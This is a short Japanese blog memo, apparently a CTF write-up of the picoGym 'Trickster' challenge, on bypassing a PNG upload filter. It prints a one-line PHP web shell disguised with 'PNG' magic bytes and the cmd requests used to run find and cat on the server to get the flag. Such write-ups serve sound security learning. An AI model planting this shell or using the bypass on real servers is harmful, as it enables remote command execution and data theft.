picoGym memo

Jan 30, 2025

常設のpicoGymに取り組んだ内容をメモしておく.

Web Exploitation

Trickster

I found a web app that can help process images: PNG images only!

アクセスすると,PNGファイルをアップロードできるフォームがある. /robots.txtへアクセスすると,

User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

とあり,/instructions.txtにアクセスすると,

Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

とある.以上をまとめると,アップロードしたPNGファイルは/uploads/に置かれ, PNGファイルの判別は,ファイル先頭の’PNG’の文字でのみ行っていると考えられる.
したがって,PNGファイルとして偽装したphpファイルを置くことが出来そうである.
以下のmain.png.phpファイルを作成し,アップロードする.

main.png.php
PNG
<pre><?php system($_GET["cmd"]);?></pre>

そして,/uploads/main.png.php?cmd=find / -name '*.txt'にアクセスする.
すると/var/www/html/GQ4DOOBVMMYGK.txtというファイルを発見.

PNG
/usr/lib/python3.9/LICENSE.txt
/usr/local/lib/php/.channels/.alias/pear.txt
/usr/local/lib/php/.channels/.alias/pecl.txt
/usr/local/lib/php/.channels/.alias/phpdocs.txt
/usr/local/lib/php/doc/Archive_Tar/docs/Archive_Tar.txt
/usr/share/perl/5.32.1/Unicode/Collate/allkeys.txt
/usr/share/perl/5.32.1/Unicode/Collate/keys.txt
/usr/share/perl/5.32.1/unicore/Blocks.txt
/usr/share/perl/5.32.1/unicore/NamedSequences.txt
/usr/share/perl/5.32.1/unicore/SpecialCasing.txt
/var/www/html/GQ4DOOBVMMYGK.txt
/var/www/html/instructions.txt
/var/www/html/robots.txt

/uploads/main.png.php?cmd=cat /var/www/html/GQ4DOOBVMMYGK.txtへアクセスすると,flagが得られる.

PNG
/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e} */
SecurityProgrammingCTFwriteuppicoGym

しゅたるく (Stark)

目次

Katagaitai CTF2025 Writeup

comments powered by Disqus